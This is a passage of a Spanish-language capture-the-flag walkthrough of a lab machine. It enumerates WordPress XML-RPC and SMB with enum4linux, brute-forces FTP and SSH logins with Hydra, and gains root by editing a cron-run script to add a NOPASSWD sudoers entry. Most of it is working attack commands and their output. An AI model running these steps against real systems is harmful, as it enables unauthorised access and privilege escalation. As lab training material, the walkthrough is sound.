Probaremos a poner lo siguiente para ver si realmente funciona lo que nos dice en ese ``.php``...

```shell
curl -k -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' https://<IP>:12380/blogblog/xmlrpc.php
```

Esto lo que hace es enumerar los metodos disponibles...
```

```
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
```

```
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>
```

Con esto sabemos que esta funcionando el servidor y que es vulnerable...

Pero aun asi las credenciales que tienen los usuarios que encontramos no se puede hacer mucho, por lo que hacemos lo siguiente...

```
enum4linux -a <IP>
```

Con esto vamos a ver toda la informacion de esta IP en todos sus puertos...

Info:

```
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ )
on Fri May 17 12:09:11 2024

 ==========================================( Target Information
)==========================================

Target ........... 192.168.5.133
RID Range ........ 500-550,1000-1050
```

```
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on 192.168.5.133
)============================


[+] Got domain/workgroup name: WORKGROUP


 ==============================( Nbtstat Information for 192.168.5.133
)==============================

Looking up status of 192.168.5.133
        RED             <00> -         H <ACTIVE>  Workstation Service
        RED             <03> -         H <ACTIVE>  Messenger Service
        RED             <20> -         H <ACTIVE>  File Server Service
        WORKGROUP       <00> - <GROUP> H <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1e> - <GROUP> H <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ==================================( Session Check on 192.168.5.133
)==================================


[+] Server 192.168.5.133 allows sessions using username '', password ''


 ================================( Getting domain SID for 192.168.5.133
)================================

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup


 ==================================( OS information on 192.168.5.133
)==================================


[E] Can't get OS info with smbclient


[+] Got OS info for 192.168.5.133 from srvinfo:
        RED            Wk Sv PrQ Unx NT SNT red server (Samba, Ubuntu)
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03


 =====================================( Users on 192.168.5.133
```

```
)=====================================

Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.

 ================================( Share Enumeration on 192.168.5.133
)================================


        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        kathy           Disk      Fred, What are we doing here?
        tmp             Disk      All temporary files should be stored here
        IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            MSI

[+] Attempting to map shares on 192.168.5.133

//192.168.5.133/print$  Mapping: DENIED Listing: N/A Writing: N/A
//192.168.5.133/kathy   Mapping: OK Listing: OK Writing: N/A
//192.168.5.133/tmp     Mapping: OK Listing: OK Writing: N/A

[E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing *
//192.168.5.133/IPC$    Mapping: N/A Listing: N/A Writing: N/A

 ============================( Password Policy Information for 192.168.5.133
)============================



[+] Attaching to 192.168.5.133 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] RED
        [+] Builtin

[+] Password Info for Domain: RED

        [+] Minimum password length: 5
```

```
        [+] Password history length: None
        [+] Maximum password age: Not Set
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes
        [+] Locked Account Duration: 30 minutes
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set



[+] Retieved partial password policy with rpcclient:


Password Complexity: Disabled
Minimum Password Length: 5


 ======================================( Groups on 192.168.5.133
)====================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:


[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 =================( Users on 192.168.5.133 via RID cycling (RIDS: 500-550,1000-1050)
)=================


[I] Found new SID:
S-1-22-1
```

```
[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)

[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon
username '', password ''

S-1-5-21-864226560-67800430-3082388513-501 RED\nobody (Local User)
S-1-5-21-864226560-67800430-3082388513-513 RED\None (Domain Group)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
```

```
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

 ==============================( Getting printer info for 192.168.5.133
)==============================

No printers returned.


enum4linux complete on Fri May 17 12:09:36 2024
```

Por lo que vemos nos saca informacion de `smb` importante muchos nombres de usuario o posibles contraseñas, por lo que nos guardamos esto en un `.txt` ...

```
#userlist.txt
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
```

Y ahora lo dejamos en solo los usuarios con es siguiente comando...

```
cat userlist.txt | cut -d"" -f2 | cut -d" " -f1 > users.txt
```

Quedaria tal que asi...

```
peter
RNunemaker
ETollefson
DSwanger
AParnell
SHayslett
MBassin
JBare
LSolum
IChadwick
MFrei
SStroud
CCeaser
JKanode
CJoo
Eeth
LSolum2
JLipps
jamie
Sam
Drew
jess
SHAY
Taylor
mel
kai
zoe
NATHAN
www
elly
```

Y ahora a probarlo en los diferentes puertos, pero en mi caso utilizaremos el `ftp` que es con el que funciona...

```
hydra -L users.txt -P users.txt ftp://<IP> -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-17 12:13:19
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip
waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 900 login tries (l:30/p:30), ~15
tries per task
[DATA] attacking ftp://192.168.5.133:21/
[21][ftp] host: 192.168.5.133   login: SHayslett   password: SHayslett
[STATUS] 908.00 tries/min, 908 tries in 00:01h, 6 to do in 00:01h, 50 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-17 12:14:34
```

Nos saca unas credenciales...

```
ftp SHayslett@<IP>
```

Dentro de este `ftp` nos encontaremos muchas cosas, pero entre ellas estara un archivo `passwd`, nos lo descargamos y contendra todo el `passwd` del servidor, por lo que lo limpiamos para que solo aparezca los usuario y tiramos un `hydra` al `ssh`...

```
cat passwd | cut -d"" -f2 | cut -d":" -f1 > passwdlimp.txt

hydra -L passlimp.txt -P passlimp.txt ssh://<IP> -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-17 13:11:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 1089 login tries (l:33/p:33), ~18
tries per task
[DATA] attacking ssh://192.168.5.133:22/
[22][ssh] host: 192.168.5.133   login: SHayslett   password: SHayslett
```

Vemos que sacamos un usuario, por lo que nos conectamos con el...

```
ssh SHayslett@<IP>
```

Una vez dentro vamos a los crontabs donde habra uno interesante...

```
cd /etc/cron.d/
```

Dentro de esta carpeta se encuentran los crontabs que se estan ejecutando, 1 de ellos se llama `logrotate` y si lo leemos...

```
*/5 *   * * *   root  /usr/local/sbin/cron-logrotate.sh
```

Vemos que se esta ejecutando por `root` cada 5 minutos un `.sh` por lo que vamos a esa ubicacion...

```
cd /usr/local/sbin/

cat cron-logrotate.sh

#Dentro del .sh

#Simon, you really need to-do something about this
```

Por lo que escalaremos desde ahi los privielgios, poniendo dentro de este archivo lo siguiente...

```
vi cron-logrotate.sh

#Dentro de vi

echo "SHayslett ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers

#<esc>
#:wq
#<ENTER>
```

Con esto esperamos 5 minutos y ya seriamos `root` haciendo `sudo su`, una vez llendo a la carpeta de `root` veremos la flag...

flag.txt (Flag_root)

```
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b
```